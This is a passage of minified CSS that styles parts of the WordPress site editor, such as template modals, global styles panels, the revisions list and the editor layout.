Neue,sans-serif;font-size:15px;font-weight:500;line-height:20px}.dataforms-layouts-card__field{width:100%}.dataforms-layouts-card__field-description{color:#757575;display:block;font-size:13px;margin-bottom:16px}.dataforms-layouts-card__field-summary{display:flex;flex-direction:row;gap:16px}.dataforms-layouts-row__field-control{width:100%}.dataforms-layouts__wrapper{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px}:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.fields-create-template-part-modal{z-index:1000001}.fields-create-template-part-modal__area-fieldset{border:0;margin:0;padding:0}.fields-create-template-part-modal__area-radio-group{border:1px solid #949494;border-radius:2px}.fields-create-template-part-modal__area-radio-wrapper{align-items:center;display:grid;grid-template-columns:min-content 1fr min-content;padding:12px;position:relative;grid-gap:4px 8px;color:#1e1e1e}.fields-create-template-part-modal__area-radio-wrapper+.fields-create-template-part-modal__area-radio-wrapper{border-top:1px solid #949494}.fields-create-template-part-modal__area-radio-wrapper input[type=radio]{opacity:0;position:absolute}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:checked){z-index:1}.fields-create-template-part-modal__area-radio-wrapper:has(input[type=radio]:not(:checked)):hover{color:var(--wp-admin-theme-color)}.fields-create-template-part-modal__area-radio-wrapper>:not(.fields-create-template-part-modal__area-radio-label){pointer-events:none}.fields-create-template-part-modal__area-radio-label:before{content:"";inset:0;position:absolute}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{cursor:pointer}input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:4px solid #0000}.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{fill:currentColor}input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{opacity:0}.fields-create-template-part-modal__area-radio-description{color:#757575;font-size:12px;grid-column:2/3;line-height:normal;margin:0;text-wrap:pretty}input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{color:inherit}.fields-controls__slug{border:0;margin:0;padding:0}.fields-controls__slug .fields-controls__slug-external-icon{margin-left:5ch}.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{padding-inline-start:0!important}.fields-controls__slug .fields-controls__slug-help-link{word-break:break-word}.fields-controls__slug .fields-controls__slug-help{display:flex;flex-direction:column}.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{font-weight:600}.fields-controls__featured-image-placeholder{background:#fff linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:2px;box-shadow:inset 0 0 0 1px #0003;display:inline-block;padding:0}.fields-controls__featured-image-title{color:#1e1e1e;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.fields-controls__featured-image-image{align-self:center;border-radius:2px;height:100%;width:100%}.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{margin:0}.fields-controls__featured-image-container span{margin-right:auto}fieldset.fields-controls__featured-image{border:0;margin:0;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-container{border:1px solid #ddd;border-radius:2px;cursor:pointer;padding:8px 12px}fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{background-color:#f0f0f0}fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{height:24px;width:24px}fieldset.fields-controls__featured-image span{align-self:center;text-align:start;white-space:nowrap}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{height:fit-content;padding:0}fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{border:0;color:unset}fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{place-self:end}.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{height:16px;width:16px}.dataviews-view-grid__media .fields-controls__featured-image-image,.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-image,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{border-radius:4px;display:block;height:100%;width:100%}.dataviews-view-grid__media .fields-controls__featured-image-placeholder,.dataviews-view-list__media-wrapper .fields-controls__featured-image-placeholder,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{background:#f0f0f0;box-shadow:none}.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper.dataviews-column-primary__media .fields-controls__featured-image-placeholder{height:32px;width:32px}.fields-controls__parent,.fields-controls__password,.fields-controls__template{border:0;margin:0;padding:0}.fields-controls__template-modal{z-index:1000001}.fields-controls__template-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.fields-controls__template-content .block-editor-block-patterns-list{column-count:4}}.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.fields-field__title>span:first-child{display:block;flex-grow:0;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.fields-field__pattern-title span:first-child{flex:1}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:left;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}@media (min-width:960px){.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column:1/-1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-canvas-loader{align-items:center;display:flex;height:100%;justify-content:center;left:0;opacity:0;position:absolute;top:0;width:100%}@media not (prefers-reduced-motion){.edit-site-canvas-loader{animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__wrapper{display:block;max-width:100%;width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-font-size__item{line-break:anywhere;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-font-size__item-value{color:#757575}.edit-site-global-styles-screen{margin:12px 16px 16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:1px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__manage-fonts{justify-content:center}.edit-site-global-styles-screen .color-block-support-panel{border-top:none;padding-left:0;padding-right:0;padding-top:0;row-gap:12px}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__typography-panel__options-container{height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:4px;overflow:hidden;position:relative;width:100%}.edit-site-global-styles__shadow-preview-panel{background-image:repeating-linear-gradient(45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5),repeating-linear-gradient(45deg,#f5f5f5 25%,#0000 0,#0000 75%,#f5f5f5 0,#f5f5f5);background-position:0 0,8px 8px;background-size:16px 16px;border:1px solid #e0e0e0;border-radius:4px;height:144px;overflow:auto}.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{background-color:#fff;border:1px solid #e0e0e0;border-radius:2px;height:60px;width:60%}.edit-site-global-styles__shadow-editor__dropdown-content{width:280px}.edit-site-global-styles__shadow-editor-panel{margin-bottom:4px}.edit-site-global-styles__shadow-editor__dropdown{position:relative;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle{border-radius:inherit;height:auto;padding-bottom:8px;padding-top:8px;text-align:left;width:100%}.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.edit-site-global-styles__shadow-editor__remove-button{opacity:0;position:absolute;right:8px;top:8px}.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{border:none}.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{opacity:1}@media (hover:none){.edit-site-global-styles__shadow-editor__remove-button{opacity:1}}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column;margin:16px}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:inline-block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-provider{height:100%}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column;height:100%}.edit-site-global-styles-sidebar__navigator-screen .single-column{grid-column:span 1}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{border-radius:2px}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;left:17px;top:18px;transform:translate(-50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-admin-theme-color);outline:3px solid #0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{background:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;left:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item-wrapper{display:block;padding:12px 12px 4px 40px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 12px 12px 40px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:left;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-right:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-left:12px;text-align:left}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;left:-1000px;margin:-1px;overflow:hidden;position:absolute}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{color:#949494}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__panel{flex:1}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{margin:0}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{flex:1}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{width:auto}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-patterns__delete-modal{width:384px}.page-patterns-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center}.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-patterns-preview-field{flex-grow:0;text-wrap:balance;text-wrap:pretty;width:96px}.edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;flex-shrink:0;min-height:40px;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-patterns__section-header{transition:padding .1s ease-out}}.edit-site-patterns__section-header .edit-site-patterns__title{min-height:40px}.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-patterns__section-header .edit-site-patterns__sub-title{margin-bottom:8px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){background:rgba(var(--wp-block-synced-color--rgb),.04);color:var(--wp-block-synced-color)}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;left:-1px;max-height:96px;min-width:auto;position:absolute;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}@container (max-width: 430px){.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{padding-left:24px;padding-right:24px}}.page-templates-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center;width:100%}.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{height:120px}.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-templates-preview-field{max-height:160px;position:relative;text-wrap:balance;text-wrap:pretty;width:120px}.edit-site-page-templates .dataviews-pagination{z-index:2}.page-templates-author-field__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:left;overflow:hidden;width:24px}.page-templates-author-field__avatar img{border-radius:100%;height:16px;object-fit:cover;opacity:0;width:16px}@media not (prefers-reduced-motion){.page-templates-author-field__avatar img{transition:opacity .1s linear}}.page-templates-author-field__avatar.is-loaded img{opacity:1}.page-templates-author-field__icon{display:flex;flex-shrink:0;height:24px;width:24px}.page-templates-author-field__icon svg{margin-left:-4px;fill:currentColor}.page-templates-author-field__name{overflow:hidden;text-overflow:ellipsis}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-editor__editor-interface{opacity:1}@media not (prefers-reduced-motion){.edit-site-editor__editor-interface{transition:opacity .1s ease-out}}.edit-site-editor__editor-interface.is-loading{opacity:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site-editor__view-mode-toggle{view-transition-name:toggle;height:64px;left:0;top:0;width:64px;z-index:100}.edit-site-editor__view-mode-toggle .components-button{align-items:center;border-radius:0;color:#fff;display:flex;height:100%;justify-content:center;overflow:hidden;padding:0;width:100%}.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{color:#fff}.edit-site-editor__view-mode-toggle .components-button:focus{box-shadow:none}.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{background:#1e1e1e;display:block}.edit-site-editor__back-icon{align-items:center;background-color:#ccc;display:flex;height:64px;justify-content:center;left:0;pointer-events:none;position:absolute;top:0;width:64px}.edit-site-editor__back-icon svg{fill:currentColor}.edit-site-editor__back-icon.has-site-icon{backdrop-filter:saturate(180%) blur(15px);background-color:#fff9}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:64px;justify-content:center;overflow:hidden;padding:0;position:relative;width:64px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:17px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid 